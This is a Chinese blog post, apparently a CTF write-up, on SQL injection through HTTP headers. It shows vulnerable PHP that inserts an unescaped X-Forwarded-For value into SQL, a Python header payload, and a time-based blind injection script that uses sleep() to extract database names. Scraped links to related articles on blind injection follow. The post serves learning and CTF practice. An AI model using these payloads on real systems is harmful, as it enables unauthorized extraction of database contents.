机缘巧合接触了一点关于sql注入的网络安全问题

依托 headers 的 sql 注入

一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码)。

但是如果写过网络爬虫,那么就很清楚其实http的headers 也是由用户自己构造的,因此对一些从headers获取的变量就不能掉以轻心。比如<strongstyle="color:#890729;">userAgent, ip等。

这里有一个sql注入的题目:who are you? -- http://www.shiyanbar.com/ctf/1941

代码漏洞示例

    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$cip = $_SERVER["HTTP_CLIENT_IP"];
} else if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (!empty($_SERVER["REMOTE_ADDR"])) {
$cip = $_SERVER["REMOTE_ADDR"];
} else {
$cip = 'unknow';
}
// 未对ip 进行安全转码
echo 'Your IP address is : '.$cip;
// 直接拼接sql,未使用pdo参数绑定
$sql = "INSERT INTO IP (ip) VALUES ('$cip') ";
$DB->query($sql);

构造sql注入的headers

接触过爬虫/CURL都很熟悉了,构造headers参数就行,以python为例:

headers = {
"X-forwarded-for": "'+(select 1) and '1'='1"
}
req=requests.get(url,headers=headers)

如果顺利的话,应该会类似输出 Your IP address is : '+(select 1) and '1'='1

time-based 时间盲注

看到这里,你可能跟我一样有个疑问。怎么才能破解数据库的信息呢?虽然可以Drop database *;...

我们只能构造sql,并让服务器运行,却不能让页面输出sql的查询结果

这时候时间盲注就排上用场了 Sql注入系列详解(一)---基于时间差的盲注

它的原理很容易理解:

  • sql执行速度,在查询条件不存在时响应很快(跟查询语句有关)
  • sleep() 语句可以人为控制sql响应时间
  • 虽然不能控制页面的输出,但是可以通过sleep()来控制页面响应时间。根据页面响应时间来判断是否命中查询信息

所以核心思想是,通过sql语句控制页面的响应时间

破解过程非常暴力,看代码一目了然:

def crack_records(url, sql, max_row, max_length):
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
# mysql 不区分大小写
guess = string.ascii_lowercase+string.digits+string.punctuation
res = []
for n in range(0,max_row): #假设爆破前 max_row 个记录
result=''
for i in range(1,max_length): #爆破字符串长度,假设不超过 max_length 长度
flag=0
for str in guess: #爆破该位置的字符 headers = {"X-forwarded-for":"'+"+" (select case when (substring((%s limit 1 offset %d) FROM %d FOR 1)='%s') then sleep(8) else 1 end) and '1'='1" % (sql,n,i,str)}
try:
req=requests.get(url,headers=headers,timeout=6)
except:
result+=str
flag=1
print('正在扫描第%d个记录,the result now is '%(n+1) ,result)
break
if flag==0:
break
res.append(result)
#
if i==1 and flag==0:
print('扫描完成')
break
return res # 除information_schema外的database
sql = "select schema_name from information_schema.SCHEMATA WHERE schema_name<>'information_schema' "
res = crack_records(url, sql, 100, 500)
print (res)

文章参考

实验吧CTF-Who are you?

总结

  1. 破解过程非常耗时,根据网页的响应时长调整timeout阈值
  2. 当网页因为其他原因超时相应时会产生误差,因此网络不好的情况下需要重复破解以精确结果。
  3. 这些人好特么聪明啊啊啊啊啊!!!

依托http-headers的 sql注入和时间盲注的更多相关文章

  1. 实验吧——who are you?(insert into注入 二分法 时间盲注)

    题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会 ...

  2. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  3. SQL注入之延迟盲注

    延迟盲注 你不知道你输入的数据在sql被执行后是否是正确或错误的.你只知道有数据. 利用原理 借助if语句,如果正确就sleep(5),延迟5秒返回数据.通过数据返回的时间大小判断自己的语句是否正确执 ...

  4. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  5. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  6. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  7. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  8. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  9. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

随机推荐

  1. 了解fiddler:实现简单的抓包测试

    fiddler是一款轻型的抓包软件 本文介绍几个常用的功能:(相信图片更直观点,上图片,右键在新标签页中打开,查看高清大图) 通过composer,我们可以修改http头部信息,修改post(),ge ...

  2. C语言小程序(三)、判断两个日期之差

    输入两个日期,计算之间相差多少天. 用了两种方法实现,第二种利用结构体,代码比较清晰,其余的都一样. 1.普通的写法 #include <stdio.h> int leapyear(int ...

  3. [SPOJ-DISUBSTR]Distinct Substrings

    vjudge 题意 给你一个串,求不同字串个数. \(n\le10^5\) sol 直接建SAM然后输出\(\sum_{i=1}^{tot}len[i]-len[fa[i]]\) code #incl ...

  4. 洛谷 P4547 & bzoj 5006 随机二分图 —— 状压DP+期望

    题目:https://www.luogu.org/problemnew/show/P4547 https://www.lydsy.com/JudgeOnline/problem.php?id=5006 ...

  5. 堆排序的JavaScript实现

    思想 把数组当做二叉树来排序: 索引0是树的根节点: 除根节点外,索引为N的节点的父节点索引是(N-1)/2: 索引为N的节点的左子节点索引是 2*N+1; 索引为N的节点的右子节点索引是 2*N+2 ...

  6. Django_form补充

    问题1:  注册页面输入为空,报错:keyError:找不到password def clean(self): print("---",self.cleaned_data)     ...

  7. keepalived基本应用解析

    原地址:http://blog.csdn.net/moqiang02/article/details/37921051 概念简单认知: Keepalived:它的诞生最初是为ipvs(一些服务,内核中 ...

  8. Send Code to evernote by my specify notebook

    #coding:utf-8 import sys sys.path.append("lib") import thrift.protocol.TBinaryProtocol as ...

  9. 【转】Pro Android学习笔记(十五):用户界面和控制(3):Button控件

    目录(?)[-] 基础Button ImageButton ToggleButton CheckBox RadioButton 基础Button Button是最常用的基础控件之一,在Android中 ...

  10. java"=="与equals()方法的对照

    总结:String s=new String(); s是在堆内存里的 String s2=new String(); s2是在堆内存又重新生成的一个. package com.da; //逆向思维:i ...